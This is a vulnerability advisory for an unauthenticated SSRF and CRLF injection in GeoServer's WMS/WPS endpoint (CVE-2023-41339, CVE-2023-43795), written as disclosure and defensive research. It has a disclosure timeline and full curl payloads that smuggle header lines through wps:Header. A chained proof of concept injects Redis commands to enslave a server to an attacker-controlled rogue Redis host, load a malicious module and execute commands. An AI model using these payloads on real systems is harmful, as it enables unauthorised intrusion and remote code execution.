Unauthenticated Server Side Request Forgery & CRLF injection in Geoserver WMS

24/10/2023 - Download

Product

Geoserver WMS

Severity

High

Fixed Version(s)

Version 2.22.5 and 2.23.2.

Affected Version(s)

See section "Affected versions"

CVE Number

CVE-2023-41339, CVE-2023-43795

Authors

Rémi Matasse

Vincent Herbulot

Description

Presentation

“GeoServer is a web server that allows you to serve maps and data from a variety of formats to standard clients such as web browsers and desktop GIS programs. Data are published via standards based interfaces, such as WMS, WFS, WCS, WPS, Tile Caching and more. Geoserver comes with a browser-based management interface and connects to multiple data sources at the back end.”

When using specifically crafted data to interact with the Web Map Service (WMS) specification, it is possible to make the application server issue HTTP GET and POST requests. Additionally, by setting the WMS XML key wps:Header it is possible to control the headers of the requests that will be issued by the application server. The control of the content of the requests allows to directly interact with other components that might be running on the server.

The affected endpoint is : POST /geoserver/wms

 

Issue(s)

The vulnerability is a Server-Side Request Forgery (SSRF) in the URL passed when sending data to Geoserver using the OGC Web Map Service (WMS) specification.

Affected versions

Version prior to 2.22.5 and 2.23.2 are affected, and anterior versions are likely to be vulnerable as well.

Timeline

Date Description
2022.07.27 The vulnerability is identified
2022.08.10 Advisory sent to geoserver-security@lists.osgeo.org.
2023.08.30 Geoserver 2.22.5 and 2.23.2 are released and contain the patch for the vulnerability.
2023.09.08 The vulnerability is assigned CVE-2023-41339
2023.10.24 Geoserver advisory is published on Github (GHSA-cqpc-x2c6-2gmf)

 

Technical details

Description

The WPS component allows users to craft XML body that are sent to the Web Map Service.

wps_exploit
WPS interface accessible preauthentication.

This payload can then be sent to the geoserver/wms public endpoint, which will try to pull the data stored on http://172.17.0.3:8000 to use its content in other Geoserver process.

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
    <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
          xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" 
          xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" 
          xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" 
          xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" 
          xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd"> 
          <ows:Identifier>JTS:area</ows:Identifier>  <wps:DataInputs>    <wps:Input>        
          <ows:Identifier>geom</ows:Identifier>      
          <wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"/>     
          </wps:Input>  </wps:DataInputs>  <wps:ResponseForm>    <wps:RawDataOutput>     
          <ows:Identifier>result</ows:Identifier>    </wps:RawDataOutput>  </wps:ResponseForm></wps:Execute>'

<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse > [...]</wps:ExecuteResponse>'


The request is well received on the targeted server.

# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [09/Aug/2022 13:19:58] "GET / HTTP/1.1" 200 -


By reading documentation, the XML <wps:Header> tag has been identified. This tag allows to craft custom headers in the request, which are directly put after the HTTP request first line.

curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
[...]
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"> 
<wps:Header key="Test-Header" value="Synacktiv"/> </wps:Reference>  [...]'
[...]


The following request is then received on 172.17.0.3.

# nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 172.17.0.2 53871
GET / HTTP/1.1
Test-Header: Synacktiv
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 172.17.0.3:8000

After this first observation, Carriage Return Line Feed (CRLF) were injected as well, in order to determine if one could inject arbitrary DATA in the requests or if the content was limited to HTTP headers.

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
[...]
<wps:Reference mimeType="application/json" xlink:href="http://172.17.0.3:8000" method="GET"> 
<wps:Header key="titi&#x0a;&#x0d;ISOLATED LINE IN THE REQUEST&#x0a;&#x0d;" value="toto"/> </wps:Reference> [...]'
[...]

The following request is then received on 172.17.0.3.

# nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on 172.17.0.2 60225
GET / HTTP/1.1
titi
ISOLATED LINE IN THE REQUEST
: toto
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 172.17.0.3:8000


The CRLF are interpreted by the server and transmitted in the request. This makes the SSRF vulnerability more dangerous, since it eases the communication with other services that might be running on the same instance.

Proof of concept, remote code execution via Redis

Because no control is made on the target destination, and since the content of the request can be manipulated, it was possible to craft payloads targeting other services. In our demonstration, we decided to target a Redis server running on the same instance as the Geoserver application.
For this POC to work, prerequisites are as follows:

  • The targeted server needs to be able to connect to a machine controlled by the attacker.
  • The Redis targeted service needs to be set in its default installation with no authentication settings set.
  • The attacker needs to setup a Redis rogue server. In our case we used this project: https://github.com/LoRexxar/redis-rogue-server

It has to be noted that projects using Geoserver were identified to use Redis in complement to Geoserver such as GeoMesa (https://www.geomesa.org/documentation/stable/user/redis/index.html). This makes the probability to obtain remote code execution from our vulnerability more likely happen in real-life infrastructures.

redis_exploit_scheme
Figure summarizing the exploit.

In order to exploit an infrastructure such as the one described above, an attacker would need to perform the following actions:

  • Start a Redis rogue server on the attacker machine
$ python3 redis-rogue-server.py --lhost 172.17.0.3 –lport 6379
[...]
  • Interact with Redis to define the rogue server as its master with the following request
$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
    <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" 
           xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" 
           xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" 
           xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" 
           xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
           <ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input>
           <ows:Identifier>geom</ows:Identifier>
           <wps:Reference mimeType="application/json" xlink:href="http://localhost:6379" method="GET"><wps:Header 
                key="SLAVEOF 172.17.0.3 6379&#x0a;&#x0d;config set dir /tmp&#x0a;&#x0d;CONFIG SET dbfilename 
                exp.so&#x0a;&#x0d;quit&#x0a;&#x0d;" value="toto"/>
           <wps:Body>aa</wps:Body>
           </wps:Reference></wps:Input></wps:DataInputs><wps:ResponseForm><wps:RawDataOutput>
           <ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>'
[...]
  • If everything works, the targeted Geoserver application should send a request to the  targeted Redis server. This request will update its configuration so that the targeted Redis server become the slave of the attacker Redis server  and will download its configuration in the /tmp/exp.so file. This can be observed from the attacker rogue Redis server command line:
$ python3 redis-rogue-server.py --lhost 172.17.0.3 –lport 6379
b"\x1b[1;34;40m[->]\x1b[0m b'*1\\r\\n$4\\r\\nPING\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+PONG\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*3\\r\\n$8\\r\\nREPLCONF\\r\\n$14\\r\\nlistening-port\\r\\n$4\\r\\n6379\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+OK\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*5\\r\\n$8\\r\\nREPLCONF\\r\\n$4\\r\\ncapa\\r\\n$3\\r\\neof\\r\\n$4\\r\\ncapa\\r\\n$6\\r\\npsync2\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+OK\\r\\n'\n\x1b[1;34;40m[->]\x1b[0m b'*3\\r\\n$5\\r\\nPSYNC\\r\\n$1\\r\\n?\\r\\n$2\\r\\n-1\\r\\n'\n\x1b[1;32;40m[<-]\x1b[0m b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\\r\\n$48552\\r\\n\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'......b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd1\\xb6\\x00\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\n'\n"
  • Lastly, we force the targeted Redis server to load the malicious module and use the system.exec command with the following curl request.

$ curl -X POST http://172.17.0.2:8080/geoserver/wms -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
    <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" 
        xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" 
        xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" 
        xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" 
        xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
        <ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>geom</ows:Identifier>
        <wps:Reference mimeType="application/json" xlink:href="http://localhost:6379" method="GET">
        <wps:Header key="MODULE LOAD /tmp/exp.so&#x0a;&#x0d;SLAVEOF NO ONE&#x0a;&#x0d;system.exec 
            &#x22;touch /tmp/helloRCE2&#x22;&#x0a;&#x0d;quit&#x0a;&#x0d;" value="toto"/>
        <wps:Body>aa</wps:Body></wps:Reference></wps:Input></wps:DataInputs><wps:ResponseForm>
        <wps:RawDataOutput><ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>'
[...]

Following those steps, allows performing RCE on an unexposed Redis server by exploiting the SSRF present on the Geoserver instance. The exploitation of this vulnerability does not require authentication.

If everything worked, two files should be present in the /tmp folder of the targeted server:

  • The file exp.so, which is the malicious module.

  • The file helloRCE that is created by the call to the system.exec module.

Impact

This vulnerability can be used to create GET and POST requests on behalf of the server. This behavior could be exploited to:

  • Steal user NetNTLMv2 hashes which could be relayed or cracked externally to gain further access.
  • Exploit any service that is accessible from the server but filtered for other users. Especially if a Redis instance is reachable this vulnerability could be leverage to obtain remote code execution on the server running Redis.
  • Scan the network